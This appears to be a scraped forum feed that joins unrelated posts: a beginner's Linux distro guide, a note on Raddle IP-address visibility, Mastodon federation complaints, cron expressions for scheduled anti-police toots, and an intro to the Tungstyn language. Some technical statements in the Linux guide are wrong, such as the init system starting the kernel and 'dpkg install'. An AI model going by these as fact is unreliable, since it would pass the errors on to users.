&lt;li&gt;&lt;strong&gt;“traditional” (Fedora Workstation) vs. “atomic” (Fedora Silverblue)&lt;/strong&gt;: In traditional distros, everything comes from a package. Every single component is individually installable, upgradeable, and deletable. Updating a package means deleting its previous version and replacing it with a new one. A power failure during an update lead to a partial upgrade and can make a system unbootable. Maybe a new package was bad and breaks something. Almost nothing prevents an unsuspecting user from destroying a core component. To mitigate risks and ensure a coherent system at each boot, atomic (also called transactional or immutable) distros, pioneered by Fedora Silverblue and Valve’s SteamOS, were born. Like mobile phone OSes, the base system is a single image, that gets installed, alongside the current running version and without modifying it, and becomes active at the next reboot. As updates are isolated from one another, if the new version doesn’t work the user can easily revert to a previous, functional version. Users are expected to install Flatpaks or use Distrobox, as installing (layering) packages is not as straightforward as with standard distros.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;“OG” (Debian) vs. “derivative” (Ubuntu)&lt;/strong&gt;: Original distros are directly downstream of their components’ source code repositories, and do most of the heavy lifting. Because of the tremendous amount of work it represents, only a few distros like Debian, Arch, Slackware or Fedora have the history, massive community and sometimes corporate financial backing to do this. Other distros reuse most packages from those original distros and add, replace or modify some of them for differenciation. For example, Debian is the parent of almost all deb-based distros like Ubuntu, which itself is the parent of distros like Mint or Pop!_OS.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What are the main components of a distro, ie. a Linux-based operating system?&lt;/h2&gt;
&lt;p&gt;All distros provide, install and maintain, among other things, the following components:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Boot and core system components (these are generally out-of-scope for beginners, unless you need to fix something, but you should at least know they exist):
&lt;ul&gt;
&lt;li&gt;A boot manager (GRUB, systemd_init, etc.): Boots the computer after the motherboard POSTs, lets you choose what to start&lt;/li&gt;
&lt;li&gt;An init system (systemd, etc.): Starts everything needed to run the computer, including the kernel&lt;/li&gt;
&lt;li&gt;A kernel (Linux): Has control over everything, main interface for software to discuss with hardware&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Command-line environment, to interact with he computer in text mode:
&lt;ul&gt;
&lt;li&gt;A shell (bash, zsh, fish etc.): The main interface for command-line stuff&lt;/li&gt;
&lt;li&gt;Command-line tools (GNU, etc.): Standard suite of command-line tools + default tools chosen by the distro maintainers&lt;/li&gt;
&lt;li&gt;User-installable command-line tools and shells&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Graphical stack for desktop/laptop computers:
&lt;ul&gt;
&lt;li&gt;Display servers (X11, Wayland compositors): Handle drawing stuff on screens&lt;/li&gt;
&lt;li&gt;A Desktop environment (Plasma, Gnome, XFCE etc.): The main graphical interface you’ll interact with everyday.&lt;/li&gt;
&lt;li&gt;User-facing applications (browsers, text processors, drawing software etc.): Some are generally installed by default and/or are part of a desktop environment’s suite of software, most are user-installable.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;A package manager (apt, dnf, pacman, yast etc.): Installs, deletes, updates and manages dependencies of all software installed on the machine.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Which are the main Desktop Environments and which one should I choose?&lt;/h2&gt;
&lt;p&gt;As a new user, this is basically the only thing you should concern yourself about: choosing a first Desktop environment. After all, it will be your main interface for the weeks/years to come. It’s almost as important as choosing your first distro. These are a few common choices that cater to different tastes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Gnome&lt;/strong&gt;: Full featured yet very minimalist, Gnome is a great DE that eschews the traditional Desktop metaphor. Like MacOS, out of the box, it provides its strongly opinionated developers’ vision of a user experience. Fortunately, unlike MacOS, there are &lt;a href="https://extensions.gnome.org/" rel="nofollow"&gt;thousands of extensions&lt;/a&gt; to tweak and extend the looks and behaviour of the DE. Dash-to-dock or Dash-to-panel are great if you want a more MacOS-like or Windows-like experience, Blur My Shell is great if you love blurry transparent things, Appindicator is a must, and everything else is up to you. Gnome’s development cycle is highly regular and all core components and apps follow the same release schedule, which explains why a lot of distros choose it as their default DE.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;KDE Plasma&lt;/strong&gt;: Full featured and maximalist, Plasma does not cater to a single design philosophy, is very flexible and can be tweaked almost ad infinitum. This may be an advantage for people who like to spend hours making the perfect environment, or a disadvantage as the possibilities can be overwhelming, and the added complexity may compromise stability, bugginess or completeness. There is not yet a single development cycle for core components and apps, which makes it a bit more difficult for distro maintainers and explains why there are so few distros with Plasma as the flagship DE. The KDE team is however evolving towards a more regular update cycle.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cinnamon&lt;/strong&gt;: Forked from Gnome 3 by the Linux Mint team who disliked the extreme change of user experience it introduced, Cinammon provides a very traditional, “windows-like”, desktop-metaphor experience in a more modern software stack than the older DEs it takes inspiration from. Cinnamon still keeps a lot in common with Gnome by being simple and easy to use, yet heavily modifiable with themes, applets and extensions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lightweight DEs for old or underpowered machines&lt;/strong&gt;: The likes of XFCE, LXDE, LXQt are great if you want to ressurect an old machine, but lack the bells and whistles of the aforementioned DEs. If your machine is super old, extremely underpowered and has less than a few Gb of RAM, don’t expect miracles though. A single browser tab can easily dwarf the RAM usage and processing power of your entire system.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As for which one you should choose, this is entirely up to you, and depends on your preferences. FYI, &lt;strong&gt;you are not married to your distro’s default desktop environment&lt;/strong&gt;. It’s just what comes preinstalled. You can install alternative DEs on any distro, no need to reinstall and/or distro-hop.&lt;/p&gt;
&lt;h2&gt;How do I install stuff on Linux?&lt;/h2&gt;
&lt;p&gt;Forget what you’re used to do on Windows of MacOS: searching for your software in a seach engine, finding a big “Download” button on a random website and running an installer with administator privileges. Your package manager not only keeps you system up to date, but also lets you install any software that’s available in your distro’s repositories. You don’t even need to know the command line, Gnome’s Software or Plasma’s Discover are nice graphical “App Stores” that let you find and install new software.&lt;/p&gt;
&lt;p&gt;Flatpak are a great and more recent recent alternative to distro packages that’s gaining a lot of traction, and is increasingly integrated by default to the aforementioned App Stores. It’s basically a “universal” package manager system thet sits next to your system, that lets software developers directly distribute their own apps instead of offloading the packaging and distribution to distro maintainers.&lt;/p&gt;
&lt;h1&gt;Choosing a first distro&lt;/h1&gt;
&lt;p&gt;As discussed before, there is &lt;a href="https://distrowatch.com/" rel="nofollow"&gt;a metric fuckload (or 1.112 imperial fucktons)&lt;/a&gt; of distros out there. I advise you to keep it as mainstream as possible for your first steps. A distro with a large user base, backed by a decently large community of maintainers and contributors and aimed at being as fuss-free as possible is always better than a one-person effort tailored to a specific use-case. Choose a distro that implements well the DE of your choice.&lt;/p&gt;
&lt;h2&gt;What are great distros for beginners?&lt;/h2&gt;
&lt;p&gt;The following are great distros for beginners as well as more advanced users who just want to have a system that needs almost no configuration out of the box, just works and stays out of the way. Always read the installation documentation thoroughly before attempting anything, and follow any post-install requirements (for example, installing restricted-licence drivers on Fedora).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Fedora Workstation&lt;/strong&gt;: Clean, sensible, modern and very up to date and should work out of the box for most hardware. Despite being sponsored by Red Hat (who are getting a lot of justified hate for moving RHEL away from open-source), this is a great community distro for both beginners and very advanced users (including &lt;em&gt;the&lt;/em&gt; Linus Torvalds). Fedora is the flagship distro for the &lt;strong&gt;Gnome&lt;/strong&gt; Desktop Environment, but also has a fantastic &lt;strong&gt;Plasma&lt;/strong&gt; version. Keywords: &lt;em&gt;Point Release, close to Bleeding Edge, Community, dnf/rpm, large maintainer team, traditional, original&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Linux Mint&lt;/strong&gt;: Mint is an Ubuntu (or Debian for the LMDE variant) derivative for beginners and advanced users alike, that keeps Ubuntu’s hardware support and ease of use while reverting its shenanigans and is &lt;strong&gt;Cinammon&lt;/strong&gt;’s flagship distro. Its main goal is to be a “just works” distro. Keywords: &lt;em&gt;Point Release, halfway between Stable and Bleeding Edge, Community, apt/deb, smallish maintainer team but lots of contributors, traditional, derivative (Ubuntu or Debian)&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pop!_OS&lt;/strong&gt;: Backed by hardware Linux vendor System76, this is another Ubuntu derivative that removes Snaps in favor or Flatpaks. Its &lt;strong&gt;heavily modified Gnome&lt;/strong&gt; DE looks and feels nice. In a few months/years, it will be the flagship distro for the -promising but still in development- &lt;strong&gt;Cosmic DE&lt;/strong&gt;. Keywords: &lt;em&gt;Point Release, halfway between Stable and Bleeding Edge, commercially-backed Community, apt/deb, employee’s maintainer team, traditional, derivative (Ubuntu)&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;If you want something (advertised as) zero-maintenance, why not go the Atomic way? They are still very new and there isn’t a lot of support yet because they do things very differently than regular distros, but if they wort OOTB on your system, they should work reliably forever. Sensible choices are uBlue’s &lt;strong&gt;Aurora&lt;/strong&gt; (Plasma), &lt;strong&gt;Bluefin&lt;/strong&gt; (Gnome) or &lt;strong&gt;Bazzite&lt;/strong&gt; (gaming-ready), which are basically identical to Fedora’s atomic variants but include (among other things) restricted-licence codecs and QOL improvements by default, or OpenSUSE’s &lt;strong&gt;Aeon&lt;/strong&gt; (Gnome). Keywords: &lt;em&gt;Point Release, Bleeding Edge, Community, rpm-ostree, large maintainer team, Atomic, sub-project (Fedora/OpenSUSE)&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Which power-user distros should I avoid &lt;em&gt;as a beginner&lt;/em&gt;, unless I &lt;em&gt;reaaaally&lt;/em&gt; need to understand everything instead of being productive day one?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;These are amongst the very best but should not be installed as your first distro&lt;/strong&gt;, unless you like extremely steep learning curves and being overwhelmed.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Debian Stable&lt;/strong&gt;: as one of the oldest, still maintained distros and the granddaddy of probably half of the distros out there, Debian is built like a tank. A very stringent policy of focusing on bug and security fixes over new features makes Debian extremely stable and predictable, but it can also feel quite outdated. Still a rock-solid experience, with a lot to tinker with despite very sensible defaults. It is an incredible learning tool and is as “Standard Linux” as can be. Debian almost made the cut to “beginner” distros because of its incredible reliability and massive amount of documentation available, but it might be a bit too involved for an absolute beginner to configure to perfection. Keywords: &lt;em&gt;Point Release, Stable as fuck, Community, apt/deb, large maintainer team, traditional, original&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Arch&lt;/strong&gt;: The opposite of Debian in philosophy, packages often come to Arch almost as soon as the source code is released. Expect a lot of manual installation and configuration, daily updates, and regularly fixing stuff. An incredible learning tool too, that will make you intimate with the inner workings of Linux. The “Arch btw” meme of having to perform every single install step by hand has taken a hit since Arch has had a basic but functional installer for a few years now, which is honestly a good thing. I work in sofware. A software engineer who does every single tedious task manually instead of automating it is a shit software engineer. A software engineer who &lt;em&gt;prides themself&lt;/em&gt; from doing every single tedious task manually should seriously reconsider their career choices. Arch’s other main appeal is the Arch User Repository or AUR, a massive collection of user-created, automated install scripts for pretty much anything. Keywords: &lt;em&gt;Rolling Release, Bleeding-edge, Community, pacman/pkg, large maintainer team, traditional, original&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Which distro should I avoid, period?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ubuntu&lt;/strong&gt;: despite having a huge mind-share as &lt;em&gt;the&lt;/em&gt; beginner distro, Ubuntu suffers from it’s parent company’s policy to make Ubuntu kinda-Linux-but-not-really and a second-rate citizen compared to their Ubuntu Pro commercial product. Some of the worst takes in recent years have been pushing Snaps super agressively in order to get some “vendor-lock-in”, proprietary walled-garden ecosystem with exclusive commercial apps, forcibly installing snaps even when explicitely asking for a .deb package through &lt;code&gt;apt&lt;/code&gt;, baking ads and nags into major software or only delivering critical security patches to Pro customers. Fortunately, there are some great derivatives like &lt;strong&gt;Mint&lt;/strong&gt; or &lt;strong&gt;Pop!_OS&lt;/strong&gt; cited above that work equally well but revert some of the most controversial decisions made by Canonical.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manjaro&lt;/strong&gt;: Manjaro might seem appealing as a “user-friendlier” Arch derivative and some of its tools are fantastic to remove some configuration burden, but ongoing mismanagement issues and the fact that it needs Arch-style regular maintenance as updates often break stuff prevent it from being a truly beginner distro. Manjaro also has a highly irregular update schedule that’s weeks behind Arch, making using the AUR extremely dangerous, as it always expects a fully up-to-date Arch system.&lt;/li&gt;
&lt;li&gt;Any single-maintainer or tiny team distros like &lt;strong&gt;Nobara&lt;/strong&gt; or &lt;strong&gt;CachyOS&lt;/strong&gt;. They might be fantastic distros made by exceptional people (I have mad respect for Nobara’s maintainer Glorious Eggroll and his work on Proton-GE), they are most often derivatives so the heavy lifting is already done by their parent distro’s maitainers, but there is too much risk involved. Sometimes life happens, sometimes people move on to other projects, and dozens of small distros get abandonned every year, leaving their users dead in the water. Trusting larger teams is a much safer bet in the long term.&lt;/li&gt;
&lt;li&gt;Anything that refuse to use standards for ideological reasons like &lt;strong&gt;Alpine Linux&lt;/strong&gt;, &lt;strong&gt;Devuan&lt;/strong&gt; or &lt;strong&gt;Artix&lt;/strong&gt;. Don’t get me wrong, not using any GNU tools or systemd is a cool technological feat and developing alternatives to the current consensus is how things evolve. However, these standard tools have a long history, hundreds if not thousands of maintainers and are used by millions, meaning there’s a huge chance your specific issue is already solved. Refusing to use them should be reserved to very advanced users who perfectly understand what they’re gaining and losing. As a beginner to intermediate level, it will at best make most of the documentation out there irrelevant, at worst make your life a miserable hell if you need to troubleshoot anything.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Philosophical questions, or “I’ve seen people arguing over the Internet and now I’m scared”&lt;/h1&gt;
&lt;p&gt;You’ve done your research, you’re almost ready to take the plunge, you even read a lot of stuff on this very community or on the other website that starts with a “R”, but people seem very passionately for or against stuff. What should you do?&lt;/p&gt;
&lt;h2&gt;Shoud I learn the command line?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Yes, eventually&lt;/strong&gt;. To be honest, nowadays a lot of things can be configured on the fly graphically, through your DE’s settings. But sometimes, it’s much more efficient to work on the command line, and sometimes it’s the only way to fix something. It’s not that difficult, and you can be reasonably productive by understanding just about a dozen very simple commands.&lt;/p&gt;
&lt;h2&gt;I have a very old laptop/desktop, should I use a distro from its era?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Noooo!&lt;/strong&gt;. Contrary to Windows and MacOS which only work correctly on period-correct computers, Linux runs perfectly well on any hardware from the last 20 to 30 years. You will not gain performance by using an old distro, but you will gain hundreds of critical security flaws that have been since corrected. If you need to squeeze performance out of an old computer, use a lightweight graphical environment or repurpose it as a headless home server. If it’s possible, one of the best ways to breathe new life into an old machine is to add some RAM, as even lightweight modern sofware will struggle with less than a few Gb.&lt;/p&gt;
&lt;h2&gt;Should I be concerned about systemd?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;. In short, systemd is fine and all major distros have switched to systemd years ago. Even the extremely cautious people behind Debian have used systemd as default since 2015. Not wanting to use systemd is a niche more rooted in philosophical and ideological rather than practical or technical reasons, and leads to much deeper issues than you should concern yourself with as a beginner.&lt;/p&gt;
&lt;h2&gt;Should I be concerned about XOrg/Wayland?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Yes and No, but mostly No&lt;/strong&gt;. First off, most distros install both Wayland and XOrg by default, so if one is not satisfying to you, try the other. Remember in the preamble when I said nVidia was a bad actor? Well, most of people’s complaints about Wayland are because of nVidia and their shitty drivers, so GTX/RTX users should stay on XOrg for now. But like it or not, XOrg is dead and unmaintained, and Wayland is the present and future. XOrg did too many things, carried too many features from the 80’s and 90’s and its codebase is a barely maintainable mess. X11 was born in a time when mainframes did most of the heavy lifting and windows were forwarded over a local network to dumb clients. X11 predates the Internet and has basically no security model. Wayland solves that by being a much simpler display protocol with a much smaller feature set adapted to modern computing and security. The only downside is that some very specific functionalities based on decades of X11 hacking and absolute lack of security can be lost.&lt;/p&gt;
&lt;h2&gt;I want to play some games, should I look for a gaming distro?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;. General purpose distros are perfectly fine for gaming. You can install Steam, Lutris, Heroic, Itch etc. and use Proton just fine on almost anything. Even Debian. In short, yes, you can game on Linux, there are great tutorials on the internet.&lt;/p&gt;
&lt;h2&gt;Should I be concerned about Flatpaks and/or Snaps vs. native packages?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Not really&lt;/strong&gt;. Flatpaks are great, and more and more developers package their apps directly in Flatpak format. As a rule of thumb, for user facing applications, if your app store gives you the choice between Flatpak and your native package manager version, choose the most recent stable version and/or the one packaged by the developer themselves (which should often be the Flatpak anyway). Snaps however are kinda bad. They are a Canonical/Ubuntu thing, so as long as you avoid Ubuntu, its spins and its derivatives that still include Snaps, you should be fine. They tend to take a lot longer to startup than regular apps or Flatpaks, the snap store is proprietary, centralized and Canonical controls every part of it. Also, Canonical is very aggressive in pushing snaps to their users, even forcing them even when they want to install an &lt;code&gt;apt&lt;/code&gt; package. If you don’t care, have fun.&lt;/p&gt;
&lt;h2&gt;I need/want program “x”, but it is only available on distro “y” and not on mine. I’ve been told to ditch my beloved distro and install the other one, should I?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;. Generally, most software is intallable from your distro’s package manager and/or Flatpak. But sometimes, your distro doesn’t package this program you need, or an inconsiderate developer only distributes a random .deb on their Github release page. Enter &lt;strong&gt;Distrobox&lt;/strong&gt;. It is a very simple, easy to use command line tool that automates the creation of other Linux distros containers using Docker or Podman (basically, tiny, semi-independant Linuxes that live inside your regular Linux), and lets you “export” programs installed inside these containers to you main system so you can run them as easily and with almost the same performance as native programs. Some atomic distros like uBlue’s variants even include it by default. That .deb we’ve talked about before? Spin a Debian container and &lt;code&gt;dpkg install&lt;/code&gt; the shit out of it. Absolutely need the AUR? Spin an Arch container and go to town.&lt;/p&gt;

          <content type="html"><![CDATA[<p lang="en" dir="ltr">I'm just pulling some of these things out so those who care can keep them in mind for the future.</p>
<p lang="en" dir="ltr">If you're not on the crackerlist, anyone with admin rights can observe the IP addresses you submit posts &amp; comments from. If you're on the crackerlist, <a href="/f/meta/191633/-/comment/391875">only ziq &amp; emma can do that</a> if they put some effort into it (or are coerced into doing so). Strictly speaking, on Raddle your IP address is always shared to the server, but gaining privileges means a smaller number of people have to do more to uncover it.</p>
<p lang="en" dir="ltr">If cops want to legally obtain data from Raddle, they have to go through ziq, who then <a href="/188876">may</a> choose to let people know what happened.</p>
<p lang="en" dir="ltr">Technically, IP addresses cannot be pinpointed to individuals or exact locations. They are contextual evidence, alongside other things like behavior (activity time[stamps], posting styles, social relationships) &amp; scrutiny (whether or not someone is observing you or those around you closely). But many people, including some cops, will treat IP addresses as conclusive anyway.</p>
<p lang="en" dir="ltr">The relevant policy around these things is at <a href="/wiki/privacy_policy">/w/privacy_policy</a>, but how policy translates into practice is often not at all obvious, so I wrote this. If you're concerned about these things, try to also assess how other websites you [ir]regularly access handle them alongside Raddle. You may also be interested in <a href="/182050">No Trace Project</a> &amp; <a href="/189134">AnarSec</a>.</p>

          <content type="html"><![CDATA[<p lang="en" dir="ltr">I had an interaction with a private security guard at a public park who told me off for jumping on/off benches (just trying to get some exercise but whatever). I tried to argue my case but he didn't care.</p>
<p lang="en" dir="ltr">My tendency around security guards and other authority figures out in the wild is to just be quiet apologize and fuck off. I think part of this has to do with some deep held fear of authority, but I justify it to myself by saying I'm removing myself safely from a situation, deescalating the situation, and overall trying to make it seem like they're in the wrong if they try to push anything further. I guess I tell myself I'm trying to save my capacity for resistance for moments which are more important. But still it feels awful, and I'm wondering if there are any other ways to go about it.</p>

<ul>
<li>
<p lang="en" dir="ltr">Before you respond to anyone you basically have to open the post on their server, because your server won't pull in all the responses they got - even when the servers aren't blocking each other</p>
</li>
<li>
<p lang="en" dir="ltr">If you then find a comment there that you want to respond to, even if you and your servers aren't blocking each other, I'm pretty sure you can't.</p>
</li>
<li>
<p lang="en" dir="ltr">Profiles from other servers often won't show all their contents, even after you follow them. Sometimes they're just empty aside from the post that showed up on your timeline and made you go to their profile</p>
</li>
<li>
<p lang="en" dir="ltr">the followers only visibility is just weird when people are talking to each other, because the people that are allowed to see the post don't stay the same across the conversation. Also DMs are just another visibility level and it's very easy to accidentally include people you didn't want to</p>
</li>
<li>
<p lang="en" dir="ltr">discoverability doesn't exist, search is broken. Even for hashtags, which aren't opt in. A raddle search on any given topic probably has more results and this userbase is a few million smaller.</p>
</li>
<li>
<p lang="en" dir="ltr">mastodon links don't seem to communicate to apps and browsers that they're mastodon links, thus not opening in your mastodon app. Unlike, let's say a magnet link or a link to any big centralised platform with an app. I think tusky is doing something app side to get around this at least for links that you click on inside tusky.</p>
</li>
<li>
<p lang="en" dir="ltr">I follow like a 100 people and I only ever see the same 5 of them in my timeline and I don't know why</p>
</li>
<li>
<p lang="en" dir="ltr">I once saw an unedited post of mine on another server that I had edited weeks earlier</p>
</li>
</ul>
<p lang="en" dir="ltr">It seems to me like either this whole federation thing is half assed or just straight up not a good idea, or there's some issues with the instance I'm on.</p>

          <content type="html"><![CDATA[<p lang="en" dir="ltr">i thought why not make something happen at 13:12 every day, on the date 13/12 (sorry, yanks, this is the real date format) and at 13:12 on 13/12.</p>
<p lang="en" dir="ltr">so here you have the ACAB cron schedule expressions you will need:</p>
<p lang="en" dir="ltr"><code>12 13 * * *</code><br />
if you want to schedule something to happen at 13:12 (hour:minute):</p>
<p lang="en" dir="ltr"><code>0 0 13 12 *</code><br />
if you want to schedule something to happen at midnight on the 13th of December:</p>
<p lang="en" dir="ltr"><code>12 13 13 12 *</code><br />
if you want to schedule something to happen at 13:12 on the 13th of December:</p>
<p lang="en" dir="ltr">the file you need to it edit is (most likely) <code>/etc/crontab</code></p>
<p lang="en" dir="ltr">i added the following to the end of mine:</p>
<pre><code>12 13 * * * noisebob toot post -u NOISEBOB@todon.nl &quot;Daily reminder: fuck the police!&quot;
0 0 13 12 * noisebob toot post -u NOISEBOB@todon.nl &quot;HAPPY ACAB-DAY!&quot;
12 13 13 12 * noisebob toot postt -u NOISEBOB@todon.nl &quot;IT'S TWELVE MINUTES PAST ONE AND YOU KNOW WHAT THAT MEANS! (FUCK THE POLICE)&quot;
</code></pre>
<p lang="en" dir="ltr">first part is the execution date (pun intended), then my username and finally the command to run. in my case i'm tooting to my mastodon account on todon.nl using toot the CLI mastodon client.</p>
<p lang="en" dir="ltr">i have some time until december to make it do something more spectacular on 13/12.</p>
<p lang="en" dir="ltr">Edit: the cron manual says a reload isn't needed when editing the file, but people online claim otherwise, so you may want to run <code>/etc/init.d/cron reload</code> or reboot your machine.</p>

    <category term="programming" label="Programming" scheme="https://raddle.me/f/"/>
          <content type="html"><![CDATA[<p lang="en" dir="ltr">I've started like 5 programming language projects before and this is the first one that got to the point of usability (a bit weird honestly since I used higher-level languages to try to implement other ones). I'm looking for any suggestions or criticism because currently the design is decently malleable (the syntax is not going to change too much though). <a rel="noopener noreferrer ugc" href="https://github.com/TheZipCreator/wi">Here's the github repo</a>. here's the introduction in that repo:</p>
<h1>Introduction</h1>
<p lang="en" dir="ltr">Tungstyn is an interpreted scripting language, primarily inspired by LISP, ECMAScript, and Lua. You can invoke the REPL by running <code>wi</code> with no arguments. You can also run a file by invoking it with the file path.</p>
<h2>Expressions</h2>
<p lang="en" dir="ltr">Tungstyn contains two primary expression types: Command Blocks and Index Expressions.</p>
<h3>Command Blocks</h3>
<p lang="en" dir="ltr">A command is of the following form:</p>
<pre><code>&lt;string | expr&gt; &lt;expr ...&gt;
</code></pre>
<p lang="ku" dir="ltr">Here's an example:</p>
<pre><code>+ 1 2
</code></pre>
<p lang="en" dir="ltr">This is the <code>+</code> command, which adds two numeric values. If you open the REPL, and type this in, it'll spit back <code>3</code> at you.
A command <em>block</em> is a sequence of commands seperated by semicolons (<code>;</code>). When you write <code>+ 1 2</code>, what you've really created is a command block with a single command in it.
The return value of a command block is the return value of the last command executed; e.g:
<code>+ 1 2; * 2 8</code>
returns <code>16</code>.
In order to nest command blocks, you wrap them with brackets (<code>[]</code>), like so:</p>
<pre><code>+ 1 [* 3 4] 8 [- 1 2]
</code></pre>
<p lang="en" dir="ltr">This is equivalent to the infix expression <code>1+3*4+8+(1-2)</code>, and returns 20. If you've ever programmed in LISP before, this should be familiar.
While we're here, I'll mention the <code>let!</code> command, which declares a variable (variables are prefixed with <code>$</code>; this actually has a reason which we'll get to later.)</p>
<pre><code>let! $x 5
</code></pre>
<p lang="en" dir="ltr">returns <code>5</code> and binds <code>$x</code>. We can then use <code>$x</code> in a later command within the current block.</p>
<h2>Index Expressions</h2>
<p lang="en" dir="ltr">The <code>list</code> command creates a <code>list</code> from its arguments, like so:</p>
<pre><code>list 1 2 3
</code></pre>
<p lang="en" dir="ltr">This returns a list containing 1, 2, and 3. Let's bind this to a variable, <code>$l</code>.</p>
<pre><code>let! $l [list 1 2 3]
</code></pre>
<p lang="en" dir="ltr">Now, let's say we wanted to get the second number from this list. Lists are 0-indexed, so that's index <code>1</code>. In order to do this, we use <code>:</code>, which is the only infix operator in the language.</p>
<pre><code>echo $l:1
</code></pre>
<p lang="en" dir="ltr"><code>echo</code> is a command which echoes its arguments. The <code>:</code> here takes the left argument, and <em>indexes</em> it by the right argument (<code>1</code>). Note that we can even call commands this way:</p>
<pre><code>$l:set! 0 20
</code></pre>
<p lang="en" dir="ltr">This will set the 0th index in the list to the value <code>20</code>.</p>
<h2>Types</h2>
<p lang="en" dir="ltr">As of now, Tungstyn has 8 types: null, int, float, string, list, map, externcommand, and command.</p>
<h3>Null</h3>
<p lang="en" dir="ltr">The null type has no data; sometimes returned from functions when an error occurs, or stored in a structure when a field is uninitialized. It can be created via the keyword <code>null</code>.</p>
<h3>Int</h3>
<p lang="en" dir="ltr">An int is a 64-bit signed integer. They can be created via integer literals (e.g. <code>1</code>, <code>2</code>, <code>1000</code>, <code>203</code>, etc.)</p>
<h3>Float</h3>
<p lang="en" dir="ltr">A float a 64-bit floating point number. They can be can be created via float literals (e.g. <code>1.0</code>, <code>23.5</code>, <code>3.14159</code>, <code>5.</code>, etc.)</p>
<h3>String</h3>
<p lang="en" dir="ltr">A string is a sequence of characters. They can be any length, and can contain the null character (U+0000). Any sequence of characters, excluding control characters (<code>;</code>, <code> </code>, <code>[</code>, <code>]</code>, <code>&quot;</code>, <code>$</code>, and <code>:</code>) creates a string (e.g. <code>abcd</code> is a string literal for <code>&quot;abcd&quot;</code>). They can also be quoted (e.g. <code>&quot;Hello, World!&quot;</code>) in which case they can contain control characters. Inside a quoted string, escape codes may also be used (e.g. <code>&quot;Hello\nWorld&quot;</code>).</p>
<h3>List</h3>
<p lang="en" dir="ltr">A list is a sequence of values. They can be created via the <code>list</code> command, which has been discussed previously.</p>
<h3>Map</h3>
<p lang="en" dir="ltr">A map consists of key-value pairs, with each key only being mapped to a single value, and where the keys are strings. They can be created via the <code>map</code> command, which takes a sequence of key-value pairs and creates a map from them.
e.g:</p>
<pre><code>let! $m [map
	a 0
	abcd 2
	x [+ 2 3]
	y 9
];
</code></pre>
<h3>Externcommand</h3>
<p lang="en" dir="ltr">An externcommand is a command implemented in C. Most builtin commands are of this type. They can not be created from within Tungstyn.</p>
<h3>Command</h3>
<p lang="en" dir="ltr">A command is a command implemented in Tungstyn. They can be created via the <code>cmd</code> command, which takes a sequence of arguments then an expression.
e.g:</p>
<pre><code>let! $double [cmd $x [* $x 2]];
echoln [double 20]; # echoes 40
</code></pre>
<h2>Variables</h2>
<p lang="en" dir="ltr">As mentioned before, variables are prefixed with <code>$</code>, and this is to distinguish them from string literals. A variable can be declared with <code>let!</code>, and reassigned with <code>set!</code>.
For example:</p>
<pre><code>let! $x 10;
# $x is now declared
echoln $x; # 10
let! $y [+ $x 2];
echoln $y; # 12
# $x has already been declared, so we reassign it with set!
set! $x [+ $x 1];
echoln $x; # 11
</code></pre>
<h2>Control constructs</h2>
<p lang="en" dir="ltr">So, that's all the value types. As for control constructs, Tungstyn has all the ones you'd expect (<code>for</code>, <code>while</code>, <code>if</code>). Here's how those work:</p>
<h3>Do</h3>
<p lang="en" dir="ltr"><code>do</code> does the block that it is given.</p>
<pre><code>do [+ 1 2]
</code></pre>
<p lang="ca" dir="ltr">returns <code>3</code>.</p>
<h3>If</h3>
<p lang="en" dir="ltr">Before we discuss <code>if</code>, here are some conditional commands:
<code>=</code>: Detects if two values are equal.
<code>!=</code>: Detects if two values are not equal.
<code>&gt;</code> <code>&lt;</code> <code>&gt;=</code> <code>&lt;=</code>: Comparisons on numeric types.
These conditions return <code>1</code> if true, and <code>0</code> if false.
Tungstyn's <code>if</code> is more similar to a <code>cond</code> block rather than a traditional <code>if</code>. It can test as many conditions as is necessary, and can also contain an <code>else</code> condition. Here's an <code>if</code> with just one condition:</p>
<pre><code>if [= $x 2] [
	echoln &quot;x is 2!&quot;;
];
</code></pre>
<p lang="en" dir="ltr">This will echo <code>x is 2!</code> if <code>$x</code> is equal to <code>2</code>, as you'd expect. However, in an <code>if</code>, you can check multiple different conditions:</p>
<pre><code>if
	[&lt; $x 2] [echoln &quot;x is less than 2&quot;]
	[= $x 2] [echoln &quot;x is 2&quot;]
	[&lt; $x 10] [echoln &quot;x is between 3 and 9&quot;]
	# else condition
	[echoln &quot;x is greater than 9&quot;];
</code></pre>
<p lang="en" dir="ltr"><code>if</code> also returns the value where the condition returns true, so this could be condensed to:</p>
<pre><code>echoln [if
	[&lt; $x 2] &quot;x is less than 2&quot;
	[= $x 2] &quot;x is 2&quot;
